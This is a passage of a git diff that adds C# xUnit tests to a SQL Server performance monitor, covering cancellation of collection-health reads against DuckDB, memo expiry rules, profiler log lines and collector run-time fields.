+                ct => service.GetQueryWindowFloorAsync(QueryWindowRelation.CollectionLog, ServerId, DateTime.UtcNow.AddDays(-1), DateTime.UtcNow, cancellationToken: ct),
+            })
+            {
+                using var cts = new CancellationTokenSource(TimeSpan.FromMilliseconds(300));
+                var sw = Stopwatch.StartNew();
+                await Assert.ThrowsAnyAsync<OperationCanceledException>(() => read(cts.Token).WaitAsync(TimeSpan.FromSeconds(60)));
+                Assert.True(sw.Elapsed < TimeSpan.FromSeconds(3), $"cancel took {sw.ElapsedMilliseconds} ms");
+            }
+        }
+        finally
+        {
+            release.Set();
+            await held;
+        }
+
+        AssertLockIsFree();
+    }
+
+    [Fact]
+    public async Task Cancel_AnAlreadyCancelledToken_ThrowsBeforeTouchingTheStore()
+    {
+        var service = new LocalDataService(_duckDb);
+        using var cts = new CancellationTokenSource();
+        cts.Cancel();
+
+        await Assert.ThrowsAnyAsync<OperationCanceledException>(() => service.GetCollectionHealthAsync(ServerId, cancellationToken: cts.Token));
+        await Assert.ThrowsAnyAsync<OperationCanceledException>(() => service.GetRecentCollectionLogAsync(ServerId, cancellationToken: cts.Token));
+        AssertLockIsFree();
+    }
+
+    [Fact]
+    public async Task Cancel_TheCoordinatorsSupersedingRequest_ReachesTheRunningHealthRead()
+    {
+        var service = new LocalDataService(_duckDb) { CollectionHealthSqlOverride = NeverFinishesSql };
+        var firstStarted = new TaskCompletionSource(TaskCreationOptions.RunContinuationsAsynchronously);
+        var calls = 0;
+        Exception? firstOutcome = null;
+        var firstStopped = new Stopwatch();
+
+        var coordinator = new RefreshCoordinator(
+            async (scope, ct) =>
+            {
+                if (Interlocked.Increment(ref calls) > 1)
+                {
+                    return;
+                }
+
+                firstStarted.SetResult();
+                try
+                {
+                    await Task.Run(() => service.GetCollectionHealthAsync(ServerId, cancellationToken: ct));
+                }
+                catch (Exception ex)
+                {
+                    firstStopped.Stop();
+                    firstOutcome = ex;
+                    throw;
+                }
+            },
+            ex => throw new InvalidOperationException("the pass must not fault: " + ex));
+
+        var first = coordinator.RequestAsync(RefreshScope.Full);
+        await firstStarted.Task.WaitAsync(TimeSpan.FromSeconds(30));
+        await Task.Delay(500);
+        firstStopped.Start();
+        var second = coordinator.RequestAsync(RefreshScope.VisibleTab);
+        await Task.WhenAll(first, second).WaitAsync(TimeSpan.FromSeconds(60));
+
+        Assert.IsAssignableFrom<OperationCanceledException>(firstOutcome);
+        Assert.True(firstStopped.Elapsed < InterruptBound, $"the superseded read stopped after {firstStopped.ElapsedMilliseconds} ms");
+        Assert.Equal(2, calls);
+        AssertLockIsFree();
+    }
+
+    /* ---------------------------------- memo ---------------------------------- */
+
+    [Fact]
+    public async Task Memo_ASecondRequestInsideTheInterval_FromAnotherTrigger_RunsNoQuery()
+    {
+        var service = new LocalDataService(_duckDb);
+        await SeedAsync(ServerId, "query_store", MinutesAgo(10));
+
+        var first = await service.GetCollectionHealthAsync(ServerId, allowMemo: true);
+        await SeedAsync(ServerId, "deadlocks", MinutesAgo(9));
+        var second = await service.GetCollectionHealthAsync(ServerId, allowMemo: true);
+
+        /* The second request would see two collectors if it had asked the store. */
+        Assert.Single(first);
+        Assert.Single(second);
+    }
+
+    /// <summary>
+    /// The tick is not "the second request": the tab drops the memo before every tick (<c>RefreshAllDataOnTimerAsync</c>), so a
+    /// tick at the 30, 60 or 300 second setting costs a read, however recent the last one was. What the memo absorbs is a tab
+    /// switch inside the interval, which costs none.
+    /// </summary>
+    [Theory]
+    [InlineData(30)]
+    [InlineData(60)]
+    [InlineData(300)]
+    public async Task Memo_ConsecutiveTimerTicks_EachReadTheStore_AndATabSwitchInsideTheIntervalReadsNone(int refreshSeconds)
+    {
+        var now = DateTime.UtcNow;
+        var interval = TimeSpan.FromSeconds(refreshSeconds);
+        var service = new LocalDataService(_duckDb) { CollectionHealthMemoClock = () => now };
+        await SeedAsync(ServerId, "query_store", MinutesAgo(30));
+
+        service.InvalidateCollectionHealthMemo();
+        Assert.Single(await service.GetCollectionHealthAsync(ServerId, allowMemo: true, memoLifetime: interval));
+
+        /* The next tick, one interval later: it drops the memo first, as the tab does, so it reads. */
+        await SeedAsync(ServerId, "deadlocks", MinutesAgo(29));
+        now += interval;
+        service.InvalidateCollectionHealthMemo();
+        Assert.Equal(2, (await service.GetCollectionHealthAsync(ServerId, allowMemo: true, memoLifetime: interval)).Count);
+
+        /* A tab switch ten seconds after that tick drops nothing, so the memo answers it. */
+        await SeedAsync(ServerId, "wait_stats", MinutesAgo(28));
+        now += TimeSpan.FromSeconds(10);
+        Assert.Equal(2, (await service.GetCollectionHealthAsync(ServerId, allowMemo: true, memoLifetime: interval)).Count);
+
+        /* ... and the tick after it reads again. */
+        now += interval;
+        service.InvalidateCollectionHealthMemo();
+        Assert.Equal(3, (await service.GetCollectionHealthAsync(ServerId, allowMemo: true, memoLifetime: interval)).Count);
+    }
+
+    /// <summary>
+    /// The memo is aged from when the read BEGAN. This read is held behind the write lock for over 700 ms (signalled on the
+    /// read reaching the wait, then held a further 700), so it ends well over the 500 ms lifetime after it started. Stamped at
+    /// its start it is already stale when it lands and the next request reads; stamped when it finished, a result that old
+    /// would still read as new and answer the next request.
+    /// </summary>
+    [Fact]
+    public async Task Memo_IsAgedFromWhenTheReadStarted_NotFromWhenItFinished()
+    {
+        var service = new LocalDataService(_duckDb);
+        await SeedAsync(ServerId, "query_store", MinutesAgo(10));
+        var lifetime = TimeSpan.FromMilliseconds(500);
+
+        var release = new ManualResetEventSlim();
+        var held = HoldWriteLock(_duckDb, release, out var acquired);
+        await acquired.WaitAsync(TimeSpan.FromSeconds(30));
+        var waitingBefore = DuckDbInitializer.WaitingReadCountForTests;
+        var slowRead = Task.Run(() => service.GetCollectionHealthAsync(ServerId, allowMemo: true, memoLifetime: lifetime));
+        var deadline = Stopwatch.StartNew();
+        while (DuckDbInitializer.WaitingReadCountForTests <= waitingBefore)
+        {
+            Assert.True(deadline.Elapsed < TimeSpan.FromSeconds(30), "the read never reached the lock wait");
+            await Task.Delay(5);
+        }
+        await Task.Delay(700);
+        release.Set();
+        await held;
+        Assert.Single(await slowRead);
+
+        await SeedAsync(ServerId, "deadlocks", MinutesAgo(9));
+        var next = await service.GetCollectionHealthAsync(ServerId, allowMemo: true, memoLifetime: lifetime);
+
+        Assert.Equal(2, next.Count);
+    }
+
+    [Fact]
+    public async Task Memo_ALifetimeTheCallerNames_ReplacesTheThirtySecondDefault()
+    {
+        var now = DateTime.UtcNow;
+        var service = new LocalDataService(_duckDb) { CollectionHealthMemoClock = () => now };
+        await SeedAsync(ServerId, "query_store", MinutesAgo(10));
+        await service.GetCollectionHealthAsync(ServerId, allowMemo: true, memoLifetime: TimeSpan.FromSeconds(60));
+        await SeedAsync(ServerId, "deadlocks", MinutesAgo(9));
+
+        now += TimeSpan.FromSeconds(45);
+        Assert.Single(await service.GetCollectionHealthAsync(ServerId, allowMemo: true, memoLifetime: TimeSpan.FromSeconds(60)));
+
+        now += TimeSpan.FromSeconds(15);
+        Assert.Equal(2, (await service.GetCollectionHealthAsync(ServerId, allowMemo: true, memoLifetime: TimeSpan.FromSeconds(60))).Count);
+    }
+
+    [Fact]
+    public async Task Memo_AHitStampsTheScheduleInForceNow_NotTheOneTheMemoWasReadUnder()
+    {
+        var minutes = 15;
+        var service = new LocalDataService(_duckDb) { CollectorFrequencyMinutes = (serverId, collector) => minutes };
+        await SeedAsync(ServerId, "query_store", MinutesAgo(10));
+        var first = await service.GetCollectionHealthAsync(ServerId, allowMemo: true);
+        await SeedAsync(ServerId, "deadlocks", MinutesAgo(9));
+
+        /* The user edits the schedule: nothing refreshes the tab, so the next request finds the memo. */
+        minutes = 720;
+        var second = await service.GetCollectionHealthAsync(ServerId, allowMemo: true);
+
+        /* A hit, because the new collector is not there ... */
+        Assert.Single(second);
+        /* ... but it carries the new cadence, not the memoized one. */
+        Assert.NotEqual(first[0].EffectiveFrequencyMinutes, second[0].EffectiveFrequencyMinutes);
+        Assert.Equal(720, second[0].EffectiveFrequencyMinutes);
+    }
+
+    [Fact]
+    public async Task Memo_AManualRefreshOrTimerTick_RunsASecondQuery()
+    {
+        var service = new LocalDataService(_duckDb);
+        await SeedAsync(ServerId, "query_store", MinutesAgo(10));
+        await service.GetCollectionHealthAsync(ServerId, allowMemo: true);
+        await SeedAsync(ServerId, "deadlocks", MinutesAgo(9));
+
+        service.InvalidateCollectionHealthMemo();
+        var afterGesture = await service.GetCollectionHealthAsync(ServerId, allowMemo: true);
+
+        Assert.Equal(2, afterGesture.Count);
+    }
+
+    [Fact]
+    public async Task Memo_ACallThatDoesNotAskForIt_AlwaysReadsTheStore()
+    {
+        var service = new LocalDataService(_duckDb);
+        await SeedAsync(ServerId, "query_store", MinutesAgo(10));
+        await service.GetCollectionHealthAsync(ServerId, allowMemo: true);
+        await SeedAsync(ServerId, "deadlocks", MinutesAgo(9));
+
+        var mcpStyle = await service.GetCollectionHealthAsync(ServerId);
+
+        Assert.Equal(2, mcpStyle.Count);
+    }
+
+    [Fact]
+    public async Task Memo_ExpiresAfterThirtySeconds()
+    {
+        var now = DateTime.UtcNow;
+        var service = new LocalDataService(_duckDb) { CollectionHealthMemoClock = () => now };
+        await SeedAsync(ServerId, "query_store", MinutesAgo(10));
+        await service.GetCollectionHealthAsync(ServerId, allowMemo: true);
+        await SeedAsync(ServerId, "deadlocks", MinutesAgo(9));
+
+        now += TimeSpan.FromSeconds(29);
+        Assert.Single(await service.GetCollectionHealthAsync(ServerId, allowMemo: true));
+
+        now += TimeSpan.FromSeconds(2);
+        Assert.Equal(2, (await service.GetCollectionHealthAsync(ServerId, allowMemo: true)).Count);
+        Assert.Equal(TimeSpan.FromSeconds(30), LocalDataService.CollectionHealthMemoLifetime);
+    }
+
+    [Fact]
+    public async Task Memo_IsPerServer_AnotherServersReadIsNotServedFromIt()
+    {
+        var service = new LocalDataService(_duckDb);
+        await SeedAsync(ServerId, "query_store", MinutesAgo(10));
+        await SeedAsync(OtherServerId, "deadlocks", MinutesAgo(10));
+        await SeedAsync(OtherServerId, "wait_stats", MinutesAgo(10));
+
+        var one = await service.GetCollectionHealthAsync(ServerId, allowMemo: true);
+        var other = await service.GetCollectionHealthAsync(OtherServerId, allowMemo: true);
+
+        Assert.Single(one);
+        Assert.Equal(2, other.Count);
+    }
+
+    [Fact]
+    public async Task Memo_HandsOutCopies_SoOneCallersStampDoesNotReachTheNext()
+    {
+        var service = new LocalDataService(_duckDb);
+        await SeedAsync(ServerId, "query_store", MinutesAgo(10));
+        var first = await service.GetCollectionHealthAsync(ServerId, allowMemo: true);
+        first[0].CollectorName = "mutated by the first caller";
+
+        var second = await service.GetCollectionHealthAsync(ServerId, allowMemo: true);
+        second[0].TotalRuns = 999;
+        var third = await service.GetCollectionHealthAsync(ServerId, allowMemo: true);
+
+        Assert.Equal("query_store", third.Single().CollectorName);
+        Assert.Equal(1, third.Single().TotalRuns);
+    }
+
+    [Fact]
+    public async Task Memo_ACancelledRead_StoresNothing()
+    {
+        var service = new LocalDataService(_duckDb) { CollectionHealthSqlOverride = NeverFinishesSql };
+        await SeedAsync(ServerId, "query_store", MinutesAgo(10));
+        using var cts = new CancellationTokenSource(TimeSpan.FromMilliseconds(500));
+        await Assert.ThrowsAnyAsync<OperationCanceledException>(() => service.GetCollectionHealthAsync(ServerId, allowMemo: true, cancellationToken: cts.Token).WaitAsync(TimeSpan.FromSeconds(60)));
+
+        service.CollectionHealthSqlOverride = null;
+        var rows = await service.GetCollectionHealthAsync(ServerId, allowMemo: true);
+
+        Assert.Single(rows);
+    }
+
+    /* ---------------------------------- the tab wires it ---------------------------------- */
+
+    [Fact]
+    public void TheServerTab_PassesThePassToken_ToEveryRead_AndEndsASupersededPassBeforeItRepaints()
+    {
+        var source = System.IO.File.ReadAllText(System.IO.Path.Combine(RepoRoot(), "Lite", "Controls", "ServerTab.Refresh.cs"));
+
+        Assert.Contains("case 17: await RefreshCollectionHealthAsync(hoursBack, fromDate, toDate, ct); break;", source, StringComparison.Ordinal);
+        Assert.Contains("GetCollectionHealthAsync(_serverId, allowMemo: true, memoLifetime: TimeSpan.FromSeconds(App.AutoRefreshIntervalSeconds), cancellationToken: ct), ct)", source, StringComparison.Ordinal);
+        Assert.Contains("GetRecentCollectionLogAsync(_serverId, hoursBack, fromDate, toDate, cancellationToken: ct), ct)", source, StringComparison.Ordinal);
+        Assert.Contains("GetCollectorDurationTrendAsync(_serverId, hoursBack, fromDate, toDate, cancellationToken: ct), ct)", source, StringComparison.Ordinal);
+
+        /* After the three reads are joined and before anything is painted or probed, a superseded pass ends. */
+        var pass = source[source.IndexOf("private async System.Threading.Tasks.Task RefreshCollectionHealthAsync(", StringComparison.Ordinal)..];
+        pass = pass[..pass.IndexOf("catch (OperationCanceledException) when (ct.IsCancellationRequested)", StringComparison.Ordinal)];
+        var joined = pass.IndexOf("Task.WhenAll(collectionHealthTask, collectionLogTask, collectorDurationTask)", StringComparison.Ordinal);
+        var cancelCheck = pass.IndexOf("ct.ThrowIfCancellationRequested();", StringComparison.Ordinal);
+        var firstPaint = pass.IndexOf("_collectionHealthFilterMgr!.UpdateData(", StringComparison.Ordinal);
+        var probe = pass.IndexOf("RefreshCappedGridBannerAsync(", StringComparison.Ordinal);
+        Assert.True(joined >= 0 && cancelCheck > joined, "no cancellation check after the reads are joined");
+        Assert.True(firstPaint > cancelCheck, "the pass repaints before it checks it was superseded");
+        Assert.True(probe > cancelCheck, "the pass runs the data-start probe before it checks it was superseded");
+        /* The probe itself takes the token, so a pass superseded mid-probe stops it too. */
+        Assert.Contains("row => row.CollectionTime, ct: ct)", pass, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheServerTab_TimerTicksDropTheMemo_ATabSwitchDoesNot_AManualRefreshDoes()
+    {
+        var source = System.IO.File.ReadAllText(System.IO.Path.Combine(RepoRoot(), "Lite", "Controls", "ServerTab.Refresh.cs"));
+
+        static string Body(string source, string signature)
+        {
+            var from = source.IndexOf(signature, StringComparison.Ordinal);
+            Assert.True(from >= 0, signature + " is gone");
+            return source[from..source.IndexOf("\n    }", from, StringComparison.Ordinal)];
+        }
+
+        var timer = Body(source, "private Task RefreshAllDataOnTimerAsync()");
+        Assert.Contains("InvalidateCollectionHealthMemo", timer, StringComparison.Ordinal);
+        Assert.True(timer.IndexOf("InvalidateCollectionHealthMemo", StringComparison.Ordinal) < timer.IndexOf("PollAsync", StringComparison.Ordinal), "the tick must drop the memo before it polls");
+
+        Assert.Contains("InvalidateCollectionHealthMemo", Body(source, "private Task RefreshAllDataAsync()"), StringComparison.Ordinal);
+
+        var tabSwitch = Body(source, "private Task RefreshVisibleTabOnlyAsync()");
+        Assert.DoesNotContain("InvalidateCollectionHealthMemo();", tabSwitch, StringComparison.Ordinal);
+    }
+
+    /* ---------------------------------- helpers ---------------------------------- */
+
+    private static string RepoRoot()
+    {
+        var dir = new System.IO.DirectoryInfo(AppContext.BaseDirectory);
+        while (dir is not null && !System.IO.File.Exists(System.IO.Path.Combine(dir.FullName, "Lite", "Controls", "ServerTab.Refresh.cs")))
+        {
+            dir = dir.Parent;
+        }
+        return dir?.FullName ?? throw new InvalidOperationException("repo root not found");
+    }
+
+    /// <summary>
+    /// Takes the exclusive store lock on a dedicated thread and holds it until <paramref name="release"/> is set. The lock
+    /// is thread-affine, so the thread that took it releases it. Timed out rather than unbounded, so a stuck test cannot
+    /// wedge the suite.
+    /// </summary>
+    private static Task HoldWriteLock(DuckDbInitializer duckDb, ManualResetEventSlim release, out Task acquired)
+    {
+        var signal = new TaskCompletionSource(TaskCreationOptions.RunContinuationsAsynchronously);
+        acquired = signal.Task;
+        return Task.Factory.StartNew(() =>
+        {
+            using var writeLock = duckDb.AcquireWriteLock(TimeSpan.FromMinutes(2));
+            signal.SetResult();
+            release.Wait(TimeSpan.FromMinutes(2));
+        }, TaskCreationOptions.LongRunning);
+    }
+
+    private void AssertLockIsFree()
+    {
+        /* A write lock is only granted when no reader holds the lock, so getting one proves the read gave its lock back. */
+        using var writeLock = _duckDb.AcquireWriteLock(TimeSpan.FromSeconds(10));
+    }
+
+    private static DateTime MinutesAgo(int minutes)
+    {
+        var t = DateTime.UtcNow.AddMinutes(-minutes);
+        return new DateTime(t.Year, t.Month, t.Day, t.Hour, t.Minute, t.Second, DateTimeKind.Utc);
+    }
+
+    private async Task SeedAsync(int serverId, string collector, DateTime collectionTimeUtc)
+    {
+        using var readLock = _duckDb.AcquireReadLock();
+        _seedConn ??= await OpenSeedConnectionAsync();
+        using var cmd = _seedConn.CreateCommand();
+        cmd.CommandText = @"
+INSERT INTO collection_log
+    (log_id, server_id, server_name, collector_name, collection_time,
+     duration_ms, status, error_message, rows_collected, sql_duration_ms, duckdb_duration_ms)
+VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11)";
+        cmd.Parameters.Add(new DuckDBParameter { Value = _nextId++ });
+        cmd.Parameters.Add(new DuckDBParameter { Value = serverId });
+        cmd.Parameters.Add(new DuckDBParameter { Value = "TestSrv" });
+        cmd.Parameters.Add(new DuckDBParameter { Value = collector });
+        cmd.Parameters.Add(new DuckDBParameter { Value = collectionTimeUtc });
+        cmd.Parameters.Add(new DuckDBParameter { Value = 100 });
+        cmd.Parameters.Add(new DuckDBParameter { Value = "SUCCESS" });
+        cmd.Parameters.Add(new DuckDBParameter { Value = DBNull.Value });
+        cmd.Parameters.Add(new DuckDBParameter { Value = 10 });
+        cmd.Parameters.Add(new DuckDBParameter { Value = 80 });
+        cmd.Parameters.Add(new DuckDBParameter { Value = 20 });
+        await cmd.ExecuteNonQueryAsync();
+    }
+
+    private async Task<DuckDBConnection> OpenSeedConnectionAsync()
+    {
+        var connection = _duckDb.CreateConnection();
+        await connection.OpenAsync();
+        return connection;
+    }
+}
+
+/// <summary>
+/// #5371: the pieces of the Collection Health pass that touch process-wide statics (the app log buffer, the method profiler)
+/// or are pure statics of the tab. They share the one collection that serializes every class reading
+/// <c>AppLogger.DrainBufferedLines</c>, which is destructive.
+/// </summary>
+[Collection("app-logger-statics")]
+public sealed class CollectionHealthCancellationLogTests : IDisposable
+{
+    private readonly string _dir = System.IO.Directory.CreateTempSubdirectory("pm-lite-5371-profiler-").FullName;
+    private readonly bool _profilerWasEnabled = PerformanceMonitorLite.Helpers.MethodProfiler.IsEnabled;
+    private readonly double _profilerThreshold = PerformanceMonitorLite.Helpers.MethodProfiler.ThresholdMs;
+    private readonly string _profilerDir = PerformanceMonitorLite.Helpers.MethodProfiler.GetLogDirectory();
+
+    public void Dispose()
+    {
+        PerformanceMonitorLite.Helpers.MethodProfiler.SetEnabled(_profilerWasEnabled);
+        PerformanceMonitorLite.Helpers.MethodProfiler.SetThresholdMs(_profilerThreshold);
+        if (!string.IsNullOrEmpty(_profilerDir))
+        {
+            PerformanceMonitorLite.Helpers.MethodProfiler.Initialize(_profilerDir);
+        }
+
+        try { System.IO.Directory.Delete(_dir, recursive: true); } catch { /* best effort */ }
+    }
+
+    [Fact]
+    public void ACancelledRead_WritesOneCancelledLineToTheAppLog_AndNothingElse()
+    {
+        var timer = new ReadPhaseTimer();
+        timer.Add(ReadPhaseTimer.Execute, 1200);
+        AppLogger.DrainBufferedLines();
+
+        timer.Report("GetCollectionHealthAsync", cancelled: true);
+
+        var line = Assert.Single(AppLogger.DrainBufferedLines(), l => l.Contains("GetCollectionHealthAsync", StringComparison.Ordinal));
+        Assert.Contains("cancelled after 1200 ms (superseded)", line, StringComparison.Ordinal);
+        Assert.DoesNotContain("SLOW METHOD", line, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// A cancelled profiled operation (#5371) leaves ONE "cancelled after N ms (superseded)" line, at or past the threshold, and
+    /// never a SLOW METHOD block. A superseded read that ran long before the cancel is the contention signal.
+    /// </summary>
+    [Fact]
+    public async Task TheProfilersTimeAsync_WritesOneCancelledLine_AndNoBlock_ForASlowCancelledOperation()
+    {
+        var logFile = ArmProfiler(thresholdMs: 30);
+        AppLogger.DrainBufferedLines();
+
+        await Assert.ThrowsAnyAsync<OperationCanceledException>(() => PerformanceMonitorLite.Helpers.MethodProfiler.TimeAsync<int>(
+            "slow-cancelled-context", async () => { await Task.Delay(120); throw new OperationCanceledException(); }));
+        await Assert.ThrowsAnyAsync<OperationCanceledException>(() => PerformanceMonitorLite.Helpers.MethodProfiler.TimeAsync(
+            "slow-cancelled-void-context", async () => { await Task.Delay(120); throw new OperationCanceledException(); }));
+
+        var lines = AppLogger.DrainBufferedLines();
+        var line = Assert.Single(lines, l => l.Contains("slow-cancelled-context", StringComparison.Ordinal));
+        Assert.Contains("slow-cancelled-context cancelled after ", line, StringComparison.Ordinal);
+        Assert.Contains(" ms (superseded)", line, StringComparison.Ordinal);
+        Assert.DoesNotContain("SLOW METHOD", line, StringComparison.Ordinal);
+        Assert.Single(lines, l => l.Contains("slow-cancelled-void-context cancelled after ", StringComparison.Ordinal));
+        var profile = System.IO.File.Exists(logFile) ? System.IO.File.ReadAllText(logFile) : "";
+        Assert.DoesNotContain("slow-cancelled", profile, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task TheProfilersTimeAsync_WritesNothing_ForAFastCancelledOperation()
+    {
+        var logFile = ArmProfiler(thresholdMs: 60_000);
+        AppLogger.DrainBufferedLines();
+
+        await Assert.ThrowsAnyAsync<OperationCanceledException>(() => PerformanceMonitorLite.Helpers.MethodProfiler.TimeAsync<int>(
+            "fast-cancelled-context", async () => { await Task.Delay(5); throw new OperationCanceledException(); }));
+
+        Assert.DoesNotContain(AppLogger.DrainBufferedLines(), l => l.Contains("fast-cancelled-context", StringComparison.Ordinal));
+        var profile = System.IO.File.Exists(logFile) ? System.IO.File.ReadAllText(logFile) : "";
+        Assert.DoesNotContain("fast-cancelled-context", profile, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task TheProfilersTimeAsync_StillWritesTheBlock_ForASlowCompletedOperation_AndNoCancelledLine()
+    {
+        var logFile = ArmProfiler(thresholdMs: 30);
+        AppLogger.DrainBufferedLines();
+
+        await PerformanceMonitorLite.Helpers.MethodProfiler.TimeAsync<int>("slow-completed-context", async () => { await Task.Delay(120); return 1; });
+
+        var profile = System.IO.File.ReadAllText(logFile);
+        Assert.Contains("SLOW METHOD", profile, StringComparison.Ordinal);
+        Assert.Contains("slow-completed-context", profile, StringComparison.Ordinal);
+        Assert.DoesNotContain(AppLogger.DrainBufferedLines(), l => l.Contains("slow-completed-context", StringComparison.Ordinal));
+    }
+
+    /// <summary>The Health and Log reads write their own cancelled line with their phases, so the profiler around them stays quiet: one line, not two.</summary>
+    [Fact]
+    public async Task TheProfilersTimeAsync_WritesNoCancelledLine_ForAReadThatLogsItsOwnCancellation()
+    {
+        ArmProfiler(thresholdMs: 30);
+        AppLogger.DrainBufferedLines();
+
+        await Assert.ThrowsAnyAsync<OperationCanceledException>(() => PerformanceMonitorLite.Helpers.MethodProfiler.TimeAsync<int>(
+            "own-line-context", () => Task.Delay(120).ContinueWith<int>(_ => throw new OperationCanceledException()), readLogsOwnCancellation: true));
+
+        Assert.DoesNotContain(AppLogger.DrainBufferedLines(), l => l.Contains("own-line-context", StringComparison.Ordinal));
+    }
+
+    [Fact]
+    public async Task TheProfilersTimeAsync_StillWritesTheBlock_ForAFailedOperation()
+    {
+        var logFile = ArmProfiler(thresholdMs: 0);
+
+        await Assert.ThrowsAsync<InvalidOperationException>(() => PerformanceMonitorLite.Helpers.MethodProfiler.TimeAsync<int>(
+            "failed-context", async () => { await Task.Delay(5); throw new InvalidOperationException(); }));
+        Assert.Contains("failed-context", System.IO.File.ReadAllText(logFile), StringComparison.Ordinal);
+    }
+
+    private string ArmProfiler(double thresholdMs)
+    {
+        PerformanceMonitorLite.Helpers.MethodProfiler.Initialize(_dir);
+        PerformanceMonitorLite.Helpers.MethodProfiler.SetThresholdMs(thresholdMs);
+        PerformanceMonitorLite.Helpers.MethodProfiler.SetEnabled(true);
+        return PerformanceMonitorLite.Helpers.MethodProfiler.GetCurrentLogFile();
+    }
+
+    [Fact]
+    public async Task SafeQueryAsync_RethrowsACancellationTheTokenCaused_InsteadOfSwallowingItIntoAnEmptyList()
+    {
+        using var cts = new CancellationTokenSource();
+        cts.Cancel();
+
+        await Assert.ThrowsAnyAsync<OperationCanceledException>(() => PerformanceMonitorLite.Controls.ServerTab.SafeQueryAsync<int>(
+            () => throw new OperationCanceledException(cts.Token), cts.Token));
+    }
+
+    [Fact]
+    public async Task SafeQueryAsync_StillReturnsAnEmptyList_ForARealFailure_AndForACancellationNobodyAskedFor()
+    {
+        using var live = new CancellationTokenSource();
+
+        var failed = await PerformanceMonitorLite.Controls.ServerTab.SafeQueryAsync<int>(
+            () => throw new InvalidOperationException("the store is unreadable"), live.Token);
+        var stray = await PerformanceMonitorLite.Controls.ServerTab.SafeQueryAsync<int>(
+            () => throw new OperationCanceledException(), live.Token);
+        var noToken = await PerformanceMonitorLite.Controls.ServerTab.SafeQueryAsync<int>(
+            () => throw new InvalidOperationException("no token at all"));
+
+        Assert.Empty(failed);
+        Assert.Empty(stray);
+        Assert.Empty(noToken);
+    }
+
+    [Fact]
+    public async Task TheDataStartProbe_RethrowsACancellationTheTokenCaused_ButAStrayOneIsAFailedProbe()
+    {
+        var start = DateTime.UtcNow.AddDays(-7);
+        var end = DateTime.UtcNow;
+        using var cts = new CancellationTokenSource();
+        cts.Cancel();
+
+        await Assert.ThrowsAnyAsync<OperationCanceledException>(() => PerformanceMonitorLite.Controls.ServerTab.ProbeWindowFloorOrNullAsync(
+            () => throw new OperationCanceledException(cts.Token), "probe", start, end, cts.Token));
+
+        using var live = new CancellationTokenSource();
+        Assert.Null(await PerformanceMonitorLite.Controls.ServerTab.ProbeWindowFloorOrNullAsync(
+            () => throw new OperationCanceledException(), "probe", start, end, live.Token));
+    }
+}
diff --git a/Lite.Tests/CollectionHealthRunTimeToolTests.cs b/Lite.Tests/CollectionHealthRunTimeToolTests.cs
new file mode 100644
index 0000000000..f928c6a141
--- /dev/null
+++ b/Lite.Tests/CollectionHealthRunTimeToolTests.cs
@@ -0,0 +1,493 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.IO;
+using System.Linq;
+using System.Runtime.CompilerServices;
+using System.Text.Json;
+using System.Text.RegularExpressions;
+using System.Threading.Tasks;
+using DuckDB.NET.Data;
+using Microsoft.Extensions.DependencyInjection;
+using PerformanceMonitor.Analysis.Baselines;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Mcp;
+using PerformanceMonitorLite.Models;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #4938: <c>get_collection_health</c> shows a collector's run time. A collector with a run time carries
+/// <c>run_at</c> (24-hour <c>HH:MM</c> on the monitored server's clock) and <c>next_run_utc</c> (the next time it is due,
+/// UTC, from the shared rules). A collector without one carries null for both on a full row, and a compact row leaves
+/// the keys out. The health band is read from the shipped cadence and a run time does not move it, so a day that was
+/// skipped reads STALE before the next run. A server with no clock yet reads the run time as UTC. These are the same
+/// two fields Darling's tool publishes. A day that was skipped also carries a <c>run_time_note</c> that says so, in Lite's
+/// terms (it collects only while it is open): a full row always has the key, a partial row has it only for a collector with a
+/// run time, and a compact row never does. The app's own registration hands the tool the schedule that holds the run times.
+/// </summary>
+[Trait("Reads", "Darling")]
+public sealed class CollectionHealthRunTimeToolTests : IClassFixture<SharedDuckDbFixture>, IDisposable
+{
+    private const string ServerName = "RunTimeHealthSrv";
+    private const string Daily = "index_object_stats";
+    private const string Frequent = "wait_stats";
+    private const string FiveMinutes = "running_jobs";
+    private const int TwoAm = 120;
+
+    /* Noon UTC. A daily slot at 02:00 plus a spread under an hour has passed by ten hours, outside its grace. */
+    private static readonly DateTime Now = new(2026, 6, 10, 12, 0, 0, DateTimeKind.Utc);
+
+    private readonly int _serverId;
+    private readonly DuckDbInitializer _duckDb;
+    private readonly string _configDir;
+    private readonly ServerManager _serverManager;
+    private readonly ServerConnection _server;
+    private DuckDBConnection? _seedConn;
+    private long _nextId = 1;
+
+    public CollectionHealthRunTimeToolTests(SharedDuckDbFixture fixture)
+    {
+        fixture.ResetData();
+        _duckDb = fixture.DuckDb;
+        _configDir = Path.Combine(Path.GetTempPath(), "pmlite-collhealthruntime-" + Guid.NewGuid().ToString("N"));
+        Directory.CreateDirectory(_configDir);
+        _serverManager = new ServerManager(_configDir);
+        _server = new ServerConnection { Id = Guid.NewGuid().ToString(), ServerName = ServerName, IsEnabled = true };
+        _serverManager.AddServer(_server);
+        _serverId = RemoteCollectorService.GetDeterministicHashCode(RemoteCollectorService.GetServerNameForStorage(_server));
+    }
+
+    public void Dispose()
+    {
+        _seedConn?.Dispose();
+        try { Directory.Delete(_configDir, recursive: true); } catch (IOException) { /* temp dir */ }
+    }
+
+    /* A run time half a day away from now, on UTC (the test server has no clock row), so the slot is never inside the
+       hour the collector would read as due now, whatever hour the test runs in. */
+    private static (int Minute, string Text) RunTimeAwayFromNow()
+    {
+        var minute = (DateTime.UtcNow.Hour + 12) % 24 * 60;
+        return (minute, CollectorRunTime.Format(minute));
+    }
+
+    private McpCollectorRunTimes RunTimes(params (string Name, int Frequency, string? RunAt, bool Enabled)[] collectors)
+    {
+        var scheduler = new ScheduleManager(_configDir);
+        scheduler.SetScheduleForServer(_server.Id, collectors.Select(c => new CollectorSchedule
+        {
+            Name = c.Name,
+            Enabled = c.Enabled,
